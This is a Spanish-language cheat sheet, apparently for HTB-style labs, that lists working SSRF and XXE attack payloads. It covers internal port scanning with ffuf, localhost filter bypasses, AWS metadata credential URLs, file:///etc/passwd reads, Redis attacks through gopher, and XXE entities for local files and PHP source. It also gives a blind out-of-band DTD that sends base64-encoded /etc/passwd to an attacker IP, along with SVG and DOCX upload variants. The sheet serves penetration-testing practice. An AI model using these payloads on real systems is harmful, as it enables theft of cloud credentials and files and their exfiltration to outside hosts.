SSRF y XXE
Hacer que el servidor pida cosas por ti: servicios internos, escaneo de puertos, metadatos de la nube y gopher. Y XXE: leer archivos con XML, a ciegas con un DTD tuyo, XInclude y SVG.
SSRF
- Servicios internos
http://127.0.0.1:80 http://localhost:8080 - Escanear puertos internos con ffuf
ffuf -u "http://objetivo.htb/fetch?url=http://127.0.0.1:FUZZ" -w <(seq 1 65535) -fs 0 - Saltar filtros de localhost
http://127.1 http://0 http://[::1] http://2130706433 http://0x7f000001 http://localtest.me - Leer archivos locales
file:///etc/passwd - Metadatos de AWS
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Redirigir desde tu servidor (si solo dejan dominios externos)
echo '<?php header("Location: http://127.0.0.1:8080/"); ?>' > r.php && php -S 0.0.0.0:80 - Gopher para hablar con Redis, MySQL o SMTP internos
gopherus --exploit redis - Recibir la petición (¿el servidor sale a internet?)
nc -lvnp 80
XXE
- Leer un archivo
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r> - Leer código PHP sin romper el XML
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><r>&x;</r> - SSRF por XXE
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://127.0.0.1:8080/">]><r>&x;</r> - A ciegas: el DTD en tu servidor (x.dtd)
<!ENTITY % f SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % e "<!ENTITY % x SYSTEM 'http://10.10.14.5/?d=%f;'>"> %e; %x; - A ciegas: lo que mandas
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % d SYSTEM "http://10.10.14.5/x.dtd"> %d;]><r/> - XInclude (cuando no controlas el DOCTYPE)
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo> - En una imagen SVG que se sube
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/hostname">]><svg xmlns="http://www.w3.org/2000/svg" width="500" height="50"><text x="0" y="20">&x;</text></svg> - En un DOCX o XLSX (son zips con XML dentro)
mkdir doc && cd doc && unzip ../archivo.docx && nano word/document.xml && zip -r ../malo.docx .